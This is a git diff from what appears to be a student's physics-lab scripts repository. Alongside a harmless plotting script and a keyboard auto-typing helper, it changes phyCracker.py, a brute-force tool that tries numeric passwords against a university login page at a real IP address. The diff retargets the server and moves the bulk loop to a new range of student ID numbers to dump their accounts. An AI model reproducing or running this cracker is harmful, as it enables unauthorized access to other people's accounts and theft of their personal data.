diff --git a/PhotoelectricEffect/draw_ip.py b/PhotoelectricEffect/draw_ip.py
new file mode 100755
index 0000000000000000000000000000000000000000..632f5e98b68c9795ecd4cf32af32ae0eeae3ab5a
--- /dev/null
+++ b/PhotoelectricEffect/draw_ip.py
@@ -0,0 +1,9 @@
+#!/usr/bin/env python3
+
+import sys
+sys.path.append('..')
+import quickmap
+
+x31,y31=[2,4,8],[66.0,234,906]
+x32,y32=[2,4,8],[22.3,85.1,341]
+quickmap.GetMultiMap(quickmap.GetLine(x31, y31, polyLine=True, poly_passO=False) + quickmap.GetLine(x32, y32, polyLine=True, poly_passO=False))
diff --git a/phyCracker.py b/phyCracker.py
index 007c755ec737a23a4ac19675726d0738d824bd0e..03bc9c0e398f0a0e0a6ed23b4b7cddd7b015dd88 100644
--- a/phyCracker.py
+++ b/phyCracker.py
@@ -12,7 +12,7 @@ def _dump(sid,pswd):
         'mm':pswd, 
         'Login':'%B5%C7%C2%BC'
     }).encode('utf-8')
-    req=urllib.request.Request('http://115.156.233.249/login.asp', headers={
+    req=urllib.request.Request('http://115.156.215.251/login.asp', headers={
         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
         'Accept-Encoding':'gzip, deflate',
         'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
@@ -21,10 +21,10 @@ def _dump(sid,pswd):
         'Content-Length':'43',
         'Content-Type':'application/x-www-form-urlencoded',
         'Cookie':cookie,
-        'Host':'115.156.233.249',
-        'Origin':'http://115.156.233.249',
+        'Host':'115.156.215.251',
+        'Origin':'http://115.156.215.251',
         'Pragma':'no-cache',
-        'Referer':'http://115.156.233.249/login.asp',
+        'Referer':'http://115.156.215.251/login.asp',
         'Upgrade-Insecure-Requests':'1',
         'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
     })
@@ -35,17 +35,17 @@ def _dump(sid,pswd):
         return False
     print('<div align="center"> Login done.')
     
-    req=urllib.request.Request('http://115.156.233.249/TongZhi.asp', headers={
+    req=urllib.request.Request('http://115.156.215.251/TongZhi.asp', headers={
         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
         'Accept-Encoding':'gzip, deflate',
         'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
         'Cache-Control':'no-cache',
         'Connection':'keep-alive',
         'Cookie':cookie,
-        'Host':'115.156.233.249',
-        'Origin':'http://115.156.233.249',
+        'Host':'115.156.215.251',
+        'Origin':'http://115.156.215.251',
         'Pragma':'no-cache',
-        'Referer':'http://115.156.233.249/login.asp',
+        'Referer':'http://115.156.215.251/login.asp',
         'Upgrade-Insecure-Requests':'1',
         'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
     })
@@ -65,12 +65,12 @@ def crackOneAccount(sid, rangeGen=range(1000000)):
         if _dump(sid,psw):
             print('Done. password='+psw)
 
-crackOneAccount('201614531', range(800000, 1000000))
-exit(0)
+#crackOneAccount('201614531', range(800000, 1000000))
+#exit(0)
 ####
 success=0
 fail=0
-for i in range(201610001, 201617174):
+for i in range(201710001, 201717150):
     if tryDump(str(i)):
         success+=1
     else:
diff --git a/virtualtype.py b/virtualtype.py
old mode 100644
new mode 100755
index 2365cc2a915b2451277170a6ab5368814d9cd781..72ab286d1d22c68ebde4e9438ce7404f1f71e3db
--- a/virtualtype.py
+++ b/virtualtype.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 # Use this script with https://recolic.net/phy and https://recolic.net/phy2 
 #     to avoid typing fucked numbers into page by hand.
 from pykeyboard import PyKeyboard
@@ -11,3 +12,13 @@ def virtual_type_array(arrToType, noWait=False):
     for d in arrToType:
         k.type_string(str(d))
         k.tap_key(k.tab_key)
+
+def _type(s):
+    k = PyKeyboard()
+    print('You have 5 seconds to ready for auto-typing.')
+    time.sleep(5)
+    k.type_string(str(s))
+
+if __name__ == "__main__":
+    import sys
+    _type(sys.argv[1])